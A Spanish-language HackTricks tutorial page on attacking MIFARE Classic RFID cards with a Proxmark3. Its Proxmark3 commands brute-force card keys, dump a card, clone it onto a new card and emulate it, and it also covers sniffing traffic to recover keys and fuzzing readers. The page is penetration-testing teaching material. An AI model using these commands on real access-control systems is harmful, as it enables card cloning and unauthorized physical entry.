hacktricks/todo/radio-hacking/proxmark-3.md

5.5 KiB

Proxmark 3

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Atacando sistemas RFID con Proxmark3

Lo primero que necesitas hacer es tener un Proxmark3 y instalar el software y sus dependenciass.

Atacando MIFARE Classic 1KB

Tiene 16 sectores, cada uno de ellos tiene 4 bloques y cada bloque contiene 16B. El UID está en el sector 0 bloque 0 (y no se puede alterar).
Para acceder a cada sector necesitas 2 claves (A y B) que están almacenadas en el bloque 3 de cada sector (trailer del sector). El trailer del sector también almacena los bits de acceso que otorgan los permisos de lectura y escritura en cada bloque usando las 2 claves.
2 claves son útiles para otorgar permisos de lectura si conoces la primera y de escritura si conoces la segunda (por ejemplo).

Se pueden realizar varios ataques.

proxmark3> hf mf #List attacks

proxmark3> hf mf chk *1 ? t ./client/default_keys.dic #Keys bruteforce
proxmark3> hf mf fchk 1 t # Improved keys BF

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF # Read block 0 with the key
proxmark3> hf mf rdsc 0 A FFFFFFFFFFFF # Read sector 0 with the key

proxmark3> hf mf dump 1 # Dump the information of the card (using creds inside dumpkeys.bin)
proxmark3> hf mf restore # Copy data to a new card
proxmark3> hf mf eload hf-mf-B46F6F79-data # Simulate card using dump
proxmark3> hf mf sim *1 u 8c61b5b4 # Simulate card using memory

proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to block 1
proxmark3> hf mf eget 01 # Read block 1
proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card

El Proxmark3 permite realizar otras acciones como escuchar una comunicación de Tag a Reader para intentar encontrar datos sensibles. En esta tarjeta, podrías simplemente espiar la comunicación y calcular la clave utilizada porque las operaciones criptográficas utilizadas son débiles y conociendo el texto plano y el texto cifrado puedes calcularla (herramienta mfkey64).

Comandos en Crudo

Los sistemas IoT a veces utilizan etiquetas no marcadas o no comerciales. En este caso, puedes usar Proxmark3 para enviar comandos en crudo personalizados a las etiquetas.

proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
No chinese magic backdoor command detected
Prng detection: WEAK
Valid ISO14443A Tag Found - Quiting Search

Con esta información, podrías intentar buscar información sobre la tarjeta y sobre la forma de comunicarte con ella. Proxmark3 permite enviar comandos en bruto como: hf 14a raw -p -b 7 26

Scripts

El software Proxmark3 viene con una lista precargada de scripts de automatización que puedes usar para realizar tareas simples. Para recuperar la lista completa, utiliza el comando script list. A continuación, usa el comando script run, seguido del nombre del script:

proxmark3> script run mfkeys

Puedes crear un script para fuzz tag readers, así que copiando los datos de una valid card solo escribe un Lua script que randomice uno o más bytes aleatorios y verifica si el reader crashes con alguna iteración.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}